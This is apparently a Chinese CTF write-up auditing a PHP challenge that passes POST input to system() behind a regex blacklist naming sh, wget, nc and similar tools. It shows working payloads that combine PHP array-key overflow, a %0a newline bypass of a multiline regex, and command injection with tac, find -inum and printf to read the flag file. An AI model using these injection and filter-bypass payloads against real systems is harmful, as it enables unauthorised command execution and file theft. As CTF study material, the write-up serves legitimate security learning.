代码审计
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
它这个代码很简单,POST请求,然后第一层判断有个要求数组强等于但是首元素不等于,第二层是个正则,要求整个字符串都是数字,大小写不敏感,跨行检测,第三层是黑名单,将常用的命令执行语句给过滤了。
PHP数组溢出漏洞
PHP数组Key溢出问题
PHP数组溢出
根据这道题目我们来构建本题的payload
通过构造payload:stuff[4294967296]=admin&stuff[1]=user&num=123456
数字检测绕过
对于第二个可以通过%0a换行进行绕过,构造payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0als
命令执行
最后是进行命令执行,将最后一层判断绕过,在这里常用的有如下命令:
- cat 由第一行显示并全部输出
- tac 最后一行显示并全部输出
- more 根据窗口大小一页一页显示
- less 和more类似 但可向前翻页 并可搜索字符
- head 只显示头几行
- tail 只显示最后几行
- nl 类似cat -n,显示时输出行号
可以使用tac来显示inode索引结点
payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
,显示所有文件加索引。
payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0atac
find / -inum 20190647``
显示flag输出到文件中
stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac
tac /tmp/hello``